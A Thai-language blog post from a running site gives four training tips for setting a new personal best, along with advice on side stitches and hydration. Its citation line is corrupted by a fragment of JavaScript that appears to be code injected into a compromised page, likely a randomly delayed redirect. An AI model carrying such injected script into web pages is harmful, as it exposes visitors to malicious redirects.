• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Running Tips

สร้าง New PB ได้ง่ายๆ ด้วย 4 เคล็ดลับเทคนิคการวิ่ง

kan by kan
24 June 2019
in Running Tips, Tips & Technics
0
สร้าง New PB ได้ง่ายๆ ด้วย 4 เคล็ดลับเทคนิคการวิ่ง
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

ถ้าคุณเป็นนักวิ่งมือใหม่ คุณอาจจะกังวลใจว่าทำอย่างไรจึงจะสามารถวิ่งได้เร็วและไปได้ไกลเหมือนเพื่อนๆ นักวิ่งคนอื่นกัน คำตอบคือต้องฝึกซ้อม และแผนการซ้อมต้องมีรูปแบบ ต้องมีการผสมการฝึกระหว่าง Speed work และ Slow endurance training เพื่อพัฒนาระบบ Aerobic และ Anaerobic ร่างกาย ไปพร้อมๆ กัน หากฝึกอย่างถูกต้อง ในช่วง 2-3 เดือนแรก ร่างกายคุณจะปรับตัวเหมือนเป็นคนใหม่ คุณอาจจะไม่ได้วิ่งเร็วหรือไปได้ไกลตามใจคิดนัก แต่ร่างกายเรา ระบบกล้ามเนื้อ การหายใจ การทำงานของหัวใจและระบบเผาผลาญพลังงาน จะมีความพร้อมที่รับการฝึกที่มี Workload ได้มากขึ้น ต่อจากนี้เราก็จะสามารถฝึกเพื่อเพิ่ม performance เพื่อสร้างความเร็วเพื่อทำ New PB ได้ง่ายขึ้น

4 เคล็ดลับเทคนิคการวิ่งสำหรับการสร้าง New PB

เรามาดูกันว่า 4 สเตป วิธีง่ายๆ ที่จะช่วยให้นักวิ่ง วิ่งได้เร็วขึ้นและไกลขึ้นมีอะไรกันบ้าง…..

1. ค่อยๆ เพิ่มระยะทางให้ไกลขึ้นแต่ละสัปดาห์ โดยปกติเมื่อเราลงฝึกซ้อมจะมีวันอาทิตย์ที่เป็นการฝึกวิ่งแบบ Long run ไม่เน้นความเร็วแต่เน้นการวิ่งทำระยะและให้ร่างกายอยู่ในโซน aerobic เพื่อดึงเอาออกวิเจนมาเผาผลาญไขมันให้เกิดเป็นพลังงาน ช่วงเวลาวิ่งแบบ Long run จะเปิดโอกาสให้เราได้วิ่งเพิ่มระยะขึ้นที่ละนิดในแต่ละสัปดาห์ เป็นการฝึกแบบไต่ขั้นบันได เมื่อเราก้าวข้ามขีดจำกัดเดิม ในวันต่อไปเราจะได้พักเพื่อให้ร่างกายไปปรับตัวให้แกร่งขึ้น

10k Training Plan

ลองสังเกตดูว่าจะมีหนึ่งวันในหนึ่งสัปดาห์ที่เราต้องวิ่งไกลที่สุด เป็นการวิ่งแบบ Long run เพื่อฝึกความอดทนให้กับร่างกาย โดยจากแผนการฝึกจะมีเป้าหมายที่ 10 กิโลเมตร และในช่วงการฝึกแรกจะค่อยๆ เพิ่มขึ้นที่ละนิด ทีละไมล์ ทั้งนี้ถ้าเพื่อนๆ มีแผนการฝึกแบบอื่นๆ ก็ให้ใช้กฎเพิ่มที่ละ 10% จะถือว่าเซฟสุด

2. ฟังเสียงของร่างกาย ฟังเสียงของใจและการหายใจ สังเกตดูว่าระดับความเข้มข้นในการออกแรงยังอยู่ในระดับที่จัดการได้หรือไม่ จะเพิ่มระยะทางวิ่งให้ไกลขึ้นและมีแผนการฝึกที่ออกแบบเฉพาะมา และคิดว่าถ้าเพิ่มแค่ 10% มันน้อยไปก็ทดลองฟังเสียงร่างกายตัวเองดูว่าไปไหวไม่ถ้ามากกว่านี้

Train for New PB

การปรับความเร็วและระยะทางในการวิ่ง ไม่จำเป็นต้องตรงตามคู่มือเสมอไป ถ้าร่างกายรับไหวก็ใส่ให้เต็มที่ แต่จำไว้ว่าการเพิ่ม Workload ควรทำเป็นขั้นบันได ค่อยๆ ไต่ไปเรื่อยๆ และหลังวันฝึกหนักต้องตามด้วยวันพักผ่อน แต่ถ้าเพิ่มทุกอย่าง อย่างรวดเร็ว หรือ overdo โอกาสเกิดอาการบาดเจ็บจะมีสูงขึ้น

3. เพิ่มสปีดในวันวิ่ง Long run ฟังดูเหมือนจะเป็นการแหกกฎ แต่เป็นการฝึกจำลองเหมือนเหตุการณ์วันวิ่งแข่งจริง อาจจะทำในช่วง 60 นาทีสุดท้าย ให้ร่างกายได้สัมผัสอาการเหนื่อยล้าที่จะได้เกิดขึ้นในวันแข่งจริง หรือไม่ก็มีอีกวิ่งหนึ่งนั้นคือ การวอยระยะทางวิ่งออกแบบส่วนๆ อย่างเช่น ถ้าต้องวิ่ง long run 15 กิโลเมตร ซอยระยะทางลงเป็น 5-5-5 และแต่ละระยะก็กำหนดความเร็ว pace หรือเวลาเดินพักให้อยู่ในระดับที่เราสามารถจัดการได้ดู

4. ฝึกสปีดต้องค่อยๆ ทำ สามารถแบ่งทำเป็นช่วงๆ ได้ ไม่จำเป็นต้องวิ่งเร็วขึ้นรวดเดียวจบ อย่างเช่น วิ่งเร็ว 800m*4 ระหว่างเซตให้เดินหรือวิ่งจ๊อก 2 นาที และทำซ้ำอีกครั้งในสัปดาห์ต่อไป พยายามวิ่งให้เร็วกกว่าเดิม และถ้าสามารถทำได้ ก็ทดลองเพิ่มเซตหรือระยะทางมากขึ้น

บางครั้งการฝึกวิ่งสปีดก็ยังไม่เหมาะสำหรับคนเริ่มต้นวิ่งในตอนแรกๆ ดังนั้นให้ควรฝึกวิ่งที่โฟกัสไปยังความอึดหรือ endurance เพื่อคลุมระยะทางที่ควรวิ่งไปก่อน ให้เราสามารถยืนระยะได้ โดยไม่ต้องสนความเร็ว หรือจะหาเพื่อนช่วยลากก็ได้ ซึ่งอาจจะได้วิ่งในระยะทางที่ไกลขึ้นและเร็วขึ้นอย่างไม่รู้ตัว

ท้ายนี้ถ้ามีอาการจุดเสียดด้านข้างเวลาวิ่งเกิดขึ้น ถือว่าเป็นเรื่องปกติ อากรนี้เกิดจาก กล้ามเนื้อส่วนที่ใช้ในการหายใจ คือ กระบังลม อาจจะมีอาการล้าหรือเป็นตะคริว มีการหมุนเวียนของเลือดหรือออกซิเจนไปยังกล้ามเนื้อส่วนนั้นไม่พอ เมื่อความฟิตเพิ่มขึ้นอาการจะหายไป นอกจากนี้ การกินอาหารมากเกินจะสร้างแรงดันในช่องท้อง รบกวนการหายใจ ดังนั้น ควรกินอาหารก่อนการออกกำลังกายอย่าน้อย 1-2 ชม. สำหรับการดื่มน้ำ ค่อยๆ ดื่มทีละน้อย อย่าทีเดียวเยอะๆ เดียวจุกระหว่างวิ่ง

อ้างอิง andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-endurance/?fbclid=IwAR19CLTXrVMW71plySFxbY85xO17l3jH5ZCsqkAz6FMaVAzTIKCsfC4e704″>www.runnersworld.com

Tags: New PBRunning
ShareTweetShare
kan

kan

Related Posts

Marathon survival kit: มาราธอนต้องรอด กับ 9 อุปกรณ์ช่วยชีวิตนักวิ่งมาราธอน
Running Tips

Marathon survival kit: มาราธอนต้องรอด กับ 9 อุปกรณ์ช่วยชีวิตนักวิ่งมาราธอน

21 January 2019
เริ่มใหม่อีกครั้ง: เทคนิคง่ายๆ ที่จะช่วยให้คุณกลับมาวิ่งอีกครั้ง หลังช่วงหยุดยาว
Running Tips

เริ่มใหม่อีกครั้ง: เทคนิคง่ายๆ ที่จะช่วยให้คุณกลับมาวิ่งอีกครั้ง หลังช่วงหยุดยาว

15 January 2019
Bodyweight
Running Tips

วิ่งดี วิ่งเร็ว วิ่งเเล้วไม่เจ็บ กับ 6 ท่า Bodyweight สำหรับนักวิ่งมือใหม่

20 December 2018
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
  • ไขทุกข้อสงสัยกับ “Snap” สายรัดข้อมือคู่ใจนักปั่น Sky Lane

    0 shares
    Share 0 Tweet 0
  • 5 กระบวนท่าพื้นฐานฝึกกล้ามเนื้อ Core

    0 shares
    Share 0 Tweet 0
  • ผู้ใช้ Garmin โปรดทราบ หน้าปัดนาฬิกาลายเลข 9 เพื่อเเสดงความอาลัย มีให้ดาวน์โหลดเเล้ว

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.